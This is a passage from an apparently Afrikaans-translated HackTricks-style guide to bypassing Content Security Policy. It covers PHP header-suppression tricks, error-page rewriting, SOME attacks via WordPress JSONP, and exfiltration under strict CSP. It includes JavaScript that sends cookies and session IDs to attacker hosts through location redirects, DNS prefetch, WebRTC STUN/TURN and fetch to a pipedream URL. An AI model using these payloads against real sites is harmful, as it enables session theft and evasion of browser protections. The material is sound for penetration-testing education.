Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, uiteindelik die volle URL onthul.

Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.

Trick from here.

Onveilige Tegnologieë om CSP te Bypass

PHP Foute wanneer te veel params

Volgens die laaste tegniek kommentaar in hierdie video, om te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 lêers kan doen). Enige gedefinieerde header() in die PHP webkode sal nie gestuur word weens die fout wat dit sal veroorsaak nie.

PHP responsbuffer oorlaai

PHP is bekend vir buffering die respons tot 4096 bytes per standaard. Daarom, as PHP 'n waarskuwing toon, deur genoeg data binne waarskuwings te verskaf, sal die respons gestuur word voor die CSP header, wat veroorsaak dat die header geïgnoreer word.
Dan bestaan die tegniek basies uit die responsbuffer met waarskuwings te vul sodat die CSP header nie gestuur word nie.

Idea from this writeup.

Herskryf Foutbladsy

Van hierdie writeup blyk dit moontlik te wees om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en sy inhoud te herskryf.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) in 'n eindpunt van 'n bladsy misbruik om ander eindpunte van dieselfde oorsprong te misbruik. Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvallerbladsy te laai en dan die aanvallerbladsy te verfris na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik. Op hierdie manier kan die kwesbare eindpunt die opener objek in die payload gebruik om die DOM van die werklike eindpunt te misbruik. Vir meer inligting, kyk:

SOME - Same Origin Method Execution

Boonop het wordpress 'n JSONP eindpunt in /wp-json/wp/v2/users/1?_jsonp=data wat die data wat in die uitvoer gestuur word, sal reflekteer (met die beperking van slegs letters, syfers en punte).

'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te genereer en dit binne <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> te inkorporeer, let daarop dat hierdie script sal gelaai word omdat dit toegelaat word deur 'self'. Boonop, en omdat WordPress geïnstalleer is, kan 'n aanvaller die SOME-aanval misbruik deur die kwesbare callback eindpunt wat die CSP omseil om meer voorregte aan 'n gebruiker te gee, 'n nuwe plugin te installeer...
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te interaksie nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.

Location

Jy kan net die ligging opdateer om die geheime inligting na die aanvaller se bediener te stuur:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

Jy kan herlei deur 'n meta tag in te voeg (dit is net 'n herleiding, dit sal nie inhoud lek nie)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Om bladsye vinniger te laai, gaan blaaiers hostnames vooraf oplos in IP adresse en dit vir later gebruik kas.
Jy kan 'n blaier aanwys om 'n hostname vooraf op te los met: <link rel="dns-prefetch" href="something.com">

Jy kan hierdie gedrag misbruik om sensitiewe inligting via DNS versoeke te exfiltreer:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

'n Ander manier:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Om te verhoed dat dit gebeur, kan die bediener die HTTP-kop stuur:

X-DNS-Prefetch-Control: off

note

Blykbaar werk hierdie tegniek nie in koplose blaaiers (bots) nie

WebRTC

Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src beleid van die CSP nagaan nie.

Werklik kan jy leak inligting gebruik maak van 'n DNS versoek. Kyk na hierdie kode:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

'n Ander opsie:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Kontroleer CSP Beleide Aanlyn

Outomatiese skep van CSP

https://csper.io/docs/generating-content-security-policy

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks